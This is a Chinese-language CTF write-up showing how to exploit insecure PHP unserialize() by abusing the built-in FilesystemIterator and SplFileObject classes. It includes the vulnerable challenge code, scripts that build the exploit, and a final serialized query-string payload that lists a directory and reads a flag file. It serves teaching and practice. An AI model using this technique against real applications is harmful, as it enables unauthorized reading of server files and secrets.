前言
ctf中代码审计反序列化的题目中,有时候给出的类没有可以利用的函数(类似eval)
这个时候该尝试调用php自带的原生类。
关于原生类有哪些,分别对应什么功能,可以看这个视频。
例题
下面是一道反序列化的题目
<?php
error_reporting(0);
class catalogue{
public $class;
public $data;
public function __construct() //构建类时调用。
{
$this->class = "error"; //用class属性调用下方自定义的error类
$this->data = "hacker"; //将data的值赋值为hacker
}
public function __destruct() //销毁类时调用(包括反序列化时)
{
echo new $this->class ($this->data); //用new方法新建一个类
}
}
class error{
public function __construct($OTL) //构建类时会输出hello $OYL (没啥用)
{
$this->OTL = $OTL;
echo ("hello ".$this->OTL);
}
}
if(isset($_GET['cata'])){
unserialize($_GET['cata']);
}
else{
highlight_file(__FILE__);
}
?>
这部分代码的意思就是
新建catalogue类的时候,会将data赋值为“hacker”,并且调用下方自定义的error类。
解题过程
这些都没有与服务器交互的内容,所以尝试调用 原生类
首先是 FilesystemIterator 类 读取文件夹下的文件
php代码
<?php
class catalogue{
public $class = FilesystemIterator;
public $data ="/ctf";
public function __destruct()
{
echo new $this->class($this->data);
}
}
$a =new catalogue;
echo serialize($a);
?>
让这个类销毁(执行反序列化)的时候,new一个名为FilesystemIterator的类,传入的数据是FilesystemIterator的参数,即路径( /ctf 是给出的 hint)。
查到有 f1Ag文件 。
接下来用 SplFileObject 类读取文件
php代码
<?php
class catalogue{
public $class = SplFileObject;
public $data ="/ctf/f1Ag";
public function __destruct()
{
echo new $this->class($this->data);
}
}
$a =new catalogue;
echo serialize($a);
?>
销毁catalogue时,创建 读取文件的 SplFileObject类 ,传入的data是 /cat/f1Ag
最终payload
?cata=O:9:"catalogue":2:{s:5:"class";s:13:"SplFileObject";s:4:"data";s:9:"/ctf/f1Ag";}